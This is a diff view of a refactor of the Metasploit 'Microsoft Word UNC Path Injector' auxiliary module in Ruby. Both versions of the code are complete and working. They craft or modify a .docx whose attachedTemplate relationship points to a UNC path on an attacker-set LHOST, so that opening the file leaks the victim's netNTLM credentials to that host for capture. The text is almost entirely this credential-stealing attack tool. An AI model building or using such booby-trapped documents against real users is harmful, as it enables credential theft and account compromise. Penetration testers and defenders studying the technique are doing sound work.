|
3 | 3 | # Current source: https://github.com/rapid7/metasploit-framework |
4 | 4 | ## |
5 | 5 |
|
6 | | -# |
7 | | -# Gems |
8 | | -# |
9 | | - |
10 | | -# for extracting files |
11 | 6 | require 'zip' |
12 | | - |
13 | | -# |
14 | | -# Project |
15 | | -# |
16 | | - |
17 | | -# for creating files |
18 | 7 | require 'rex/zip' |
19 | 8 |
|
20 | 9 | class MetasploitModule < Msf::Auxiliary |
21 | 10 | include Msf::Exploit::FILEFORMAT |
22 | 11 |
|
23 | 12 | def initialize(info = {}) |
24 | | - super(update_info(info, |
25 | | - 'Name' => 'Microsoft Word UNC Path Injector', |
26 | | - 'Description' => %q{ |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Microsoft Word UNC Path Injector', |
| 17 | + 'Description' => %q{ |
27 | 18 | This module modifies a .docx file that will, upon opening, submit stored |
28 | | - netNTLM credentials to a remote host. It can also create an empty docx file. If |
29 | | - emailed the receiver needs to put the document in editing mode before the remote |
30 | | - server will be contacted. Preview and read-only mode do not work. Verified to work |
31 | | - with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the |
32 | | - auxiliary/server/capture/smb module can be used. |
33 | | - }, |
34 | | - 'License' => MSF_LICENSE, |
35 | | - 'References' => |
36 | | - [ |
| 19 | + netNTLM credentials to a remote host. It can also create an empty docx file. If |
| 20 | + emailed the receiver needs to put the document in editing mode before the remote |
| 21 | + server will be contacted. Preview and read-only mode do not work. Verified to work |
| 22 | + with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the |
| 23 | + auxiliary/server/capture/smb module can be used. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => [ |
37 | 27 | [ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ] |
38 | 28 | ], |
39 | | - 'Author' => |
40 | | - [ |
| 29 | + 'Author' => [ |
41 | 30 | 'SphaZ <cyberphaz[at]gmail.com>' |
42 | | - ] |
43 | | - )) |
| 31 | + ], |
| 32 | + 'Notes' => { |
| 33 | + 'Stability' => [ CRASH_SAFE ], |
| 34 | + 'SideEffects' => [], |
| 35 | + 'Reliability' => [] |
| 36 | + } |
| 37 | + ) |
| 38 | + ) |
44 | 39 |
|
45 | 40 | register_options( |
46 | 41 | [ |
47 | | - OptAddressLocal.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']), |
| 42 | + OptAddressLocal.new('LHOST', [true, 'Server IP or hostname that the .docx document points to.']), |
48 | 43 | OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']), |
49 | 44 | OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']), |
50 | | - OptString.new('DOCAUTHOR',[false,'Document author for empty document.']), |
51 | | - ]) |
| 45 | + OptString.new('DOCAUTHOR', [false, 'Document author for empty document.']), |
| 46 | + ] |
| 47 | + ) |
52 | 48 | end |
53 | 49 |
|
54 | 50 | # here we create an empty .docx file with the UNC path. Only done when FILENAME is empty |
55 | 51 | def make_new_file |
56 | | - metadata_file_data = "" |
57 | | - metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties" |
58 | | - metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" " |
59 | | - metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" " |
60 | | - metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">" |
| 52 | + metadata_file_data = '' |
| 53 | + metadata_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><cp:coreProperties' |
| 54 | + metadata_file_data << ' xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" ' |
| 55 | + metadata_file_data << 'xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" ' |
| 56 | + metadata_file_data << 'xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' |
61 | 57 | metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}" |
62 | | - metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">" |
63 | | - metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">" |
64 | | - metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>" |
| 58 | + metadata_file_data << '</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">' |
| 59 | + metadata_file_data << '2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">' |
| 60 | + metadata_file_data << '2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>' |
65 | 61 |
|
66 | 62 | # where to find the skeleton files required for creating an empty document |
67 | | - data_dir = File.join(Msf::Config.data_directory, "exploits", "docx") |
| 63 | + data_dir = File.join(Msf::Config.data_directory, 'exploits', 'docx') |
68 | 64 |
|
69 | 65 | zip_data = {} |
70 | 66 |
|
71 | 67 | # add skeleton files |
72 | 68 | vprint_status("Adding skeleton files from #{data_dir}") |
73 | 69 | Dir["#{data_dir}/**/**"].each do |file| |
74 | | - if not File.directory?(file) |
75 | | - zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb') |
| 70 | + if !File.directory?(file) |
| 71 | + zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb') |
76 | 72 | end |
77 | 73 | end |
78 | 74 |
|
79 | 75 | # add on-the-fly created documents |
80 | | - vprint_status("Adding injected files") |
81 | | - zip_data["docProps/core.xml"] = metadata_file_data |
82 | | - zip_data["word/_rels/settings.xml.rels"] = @rels_file_data |
| 76 | + vprint_status('Adding injected files') |
| 77 | + zip_data['docProps/core.xml'] = metadata_file_data |
| 78 | + zip_data['word/_rels/settings.xml.rels'] = @rels_file_data |
83 | 79 |
|
84 | 80 | # add the otherwise skipped "hidden" file |
85 | 81 | file = "#{data_dir}/_rels/.rels" |
86 | | - zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb') |
| 82 | + zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb') |
87 | 83 | # and lets create the file |
88 | 84 | zip_docx(zip_data) |
89 | 85 | end |
90 | 86 |
|
91 | 87 | # here we inject an UNC path into an existing file, and store the injected file in FILENAME |
92 | | - def manipulate_file |
93 | | - ref = "<w:attachedTemplate r:id=\"rId1\"/>" |
94 | | - |
95 | | - if not File.stat(datastore['SOURCE']).readable? |
96 | | - print_error("Not enough rights to read the file. Aborting.") |
97 | | - return nil |
98 | | - end |
| 88 | + def manipulate_file(file_path) |
| 89 | + fail_with(Failure::BadConfig, 'Not enough rights to read the file. Aborting.') unless File.stat(file_path).readable? |
99 | 90 |
|
100 | 91 | # lets extract our docx and store it in memory |
101 | | - zip_data = unzip_docx |
| 92 | + zip_data = unzip_docx(file_path) |
102 | 93 |
|
103 | 94 | # file to check for reference file we need |
104 | | - file_content = zip_data["word/settings.xml"] |
| 95 | + file_content = zip_data['word/settings.xml'] |
105 | 96 | if file_content.nil? |
106 | | - print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.") |
107 | | - return nil |
| 97 | + fail_with(Failure::BadConfig, 'Bad "word/settings.xml" file, check if it is a valid .docx.') |
108 | 98 | end |
109 | 99 |
|
110 | 100 | # if we can find the reference to our inject file, we don't need to add it and can just inject our unc path. |
111 | | - if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil? |
112 | | - vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") |
113 | | - zip_data["word/_rels/settings.xml.rels"] = @rels_file_data |
114 | | - # lets zip the end result |
| 101 | + if file_content.to_s.include?('w:attachedTemplate r:id="rId1"') |
| 102 | + vprint_status('Reference to rels file already exists in settings file, we dont need to add it :)') |
115 | 103 | zip_docx(zip_data) |
116 | | - else |
117 | | - # now insert the reference to the file that will enable our malicious entry |
118 | | - insert_one = file_content.index("<w:defaultTabStop") |
119 | | - |
120 | | - if insert_one.nil? |
121 | | - insert_two = file_content.index("<w:hyphenationZone") # 2nd choice |
122 | | - if not insert_two.nil? |
123 | | - vprint_status("HypenationZone found, we use this for insertion.") |
124 | | - file_content.insert(insert_two, ref ) |
125 | | - end |
| 104 | + return true |
| 105 | + end |
| 106 | + |
| 107 | + ref = '<w:attachedTemplate r:id="rId1"/>' |
| 108 | + |
| 109 | + # now insert the reference to the file that will enable our malicious entry |
| 110 | + insert_one = file_content.index('<w:defaultTabStop') |
| 111 | + |
| 112 | + if insert_one.nil? |
| 113 | + insert_two = file_content.index('<w:hyphenationZone') # 2nd choice |
| 114 | + if !insert_two.nil? |
| 115 | + vprint_status('HypenationZone found, we use this for insertion.') |
| 116 | + file_content.insert(insert_two, ref) |
126 | 117 | else |
127 | | - vprint_status("DefaultTabStop found, we use this for insertion.") |
128 | | - file_content.insert(insert_one, ref ) |
| 118 | + fail_with(Failure::Unknown, 'Cannot find insert point for reference into settings.xml') |
129 | 119 | end |
| 120 | + else |
| 121 | + vprint_status('DefaultTabStop found, we use this for insertion.') |
| 122 | + file_content.insert(insert_one, ref) |
| 123 | + end |
130 | 124 |
|
131 | | - if insert_one.nil? && insert_two.nil? |
132 | | - print_error("Cannot find insert point for reference into settings.xml") |
133 | | - return nil |
134 | | - end |
| 125 | + # update the files that contain the injection and reference |
| 126 | + zip_data['word/settings.xml'] = file_content |
| 127 | + zip_data['word/_rels/settings.xml.rels'] = @rels_file_data |
135 | 128 |
|
136 | | - # update the files that contain the injection and reference |
137 | | - zip_data["word/settings.xml"] = file_content |
138 | | - zip_data["word/_rels/settings.xml.rels"] = @rels_file_data |
139 | | - # lets zip the file |
140 | | - zip_docx(zip_data) |
141 | | - end |
142 | | - return 0 |
| 129 | + # lets zip the end result |
| 130 | + zip_docx(zip_data) |
| 131 | + true |
143 | 132 | end |
144 | 133 |
|
145 | 134 | # making the actual docx from the hash |
146 | 135 | def zip_docx(zip_data) |
147 | 136 | docx = Rex::Zip::Archive.new |
148 | | - zip_data.each_pair do |k,v| |
149 | | - docx.add_file(k,v) |
| 137 | + zip_data.each_pair do |k, v| |
| 138 | + docx.add_file(k, v) |
150 | 139 | end |
151 | 140 | file_create(docx.pack) |
152 | 141 | end |
153 | 142 |
|
154 | 143 | # unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way |
155 | | - def unzip_docx |
| 144 | + def unzip_docx(file_path) |
156 | 145 | # Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File |
157 | | - vprint_status("Extracting #{datastore['SOURCE']} into memory.") |
| 146 | + vprint_status("Extracting #{file_path} into memory.") |
158 | 147 | # we read it all into memory |
159 | 148 | zip_data = Hash.new |
160 | | - begin |
161 | | - Zip::File.open(datastore['SOURCE']) do |filezip| |
162 | | - filezip.each do |entry| |
163 | | - zip_data[entry.name] = filezip.read(entry) |
164 | | - end |
| 149 | + Zip::File.open(file_path) do |filezip| |
| 150 | + filezip.each do |entry| |
| 151 | + zip_data[entry.name] = filezip.read(entry) |
165 | 152 | end |
166 | | - rescue Zip::Error => e |
167 | | - print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") |
168 | | - return nil |
169 | 153 | end |
170 | | - return zip_data |
171 | | - end |
172 | 154 |
|
| 155 | + zip_data |
| 156 | + rescue Zip::Error |
| 157 | + fail_with(Failure::BadConfig, "Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") |
| 158 | + end |
173 | 159 |
|
174 | 160 | def run |
175 | 161 | # we need this in make_new_file and manipulate_file |
176 | | - @rels_file_data = "" |
177 | | - @rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp |
178 | | - @rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp |
179 | | - @rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp |
180 | | - @rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>" |
| 162 | + @rels_file_data = '' |
| 163 | + @rels_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' |
| 164 | + @rels_file_data << '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' |
| 165 | + @rels_file_data << '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"' |
| 166 | + @rels_file_data << " Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>" |
181 | 167 |
|
182 | | - if "#{datastore['SOURCE']}" == "" |
| 168 | + if datastore['SOURCE'].blank? |
183 | 169 | # make an empty file |
184 | 170 | print_status("Creating empty document that points to #{datastore['LHOST']}.") |
185 | 171 | make_new_file |
186 | 172 | else |
187 | 173 | # extract the word/settings.xml and edit in the reference we need |
188 | | - print_status("Injecting UNC path into existing document.") |
189 | | - if manipulate_file.nil? |
190 | | - print_error("Failed to create a document from #{datastore['SOURCE']}.") |
191 | | - else |
192 | | - print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") |
| 174 | + print_status('Injecting UNC path into existing document.') |
| 175 | + unless manipulate_file(datastore['SOURCE']) |
| 176 | + fail_with(Failure::Unknown, "Failed to create a document from #{datastore['SOURCE']}.") |
193 | 177 | end |
| 178 | + print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") |
194 | 179 | end |
195 | 180 | end |
196 | 181 | end |
0 commit comments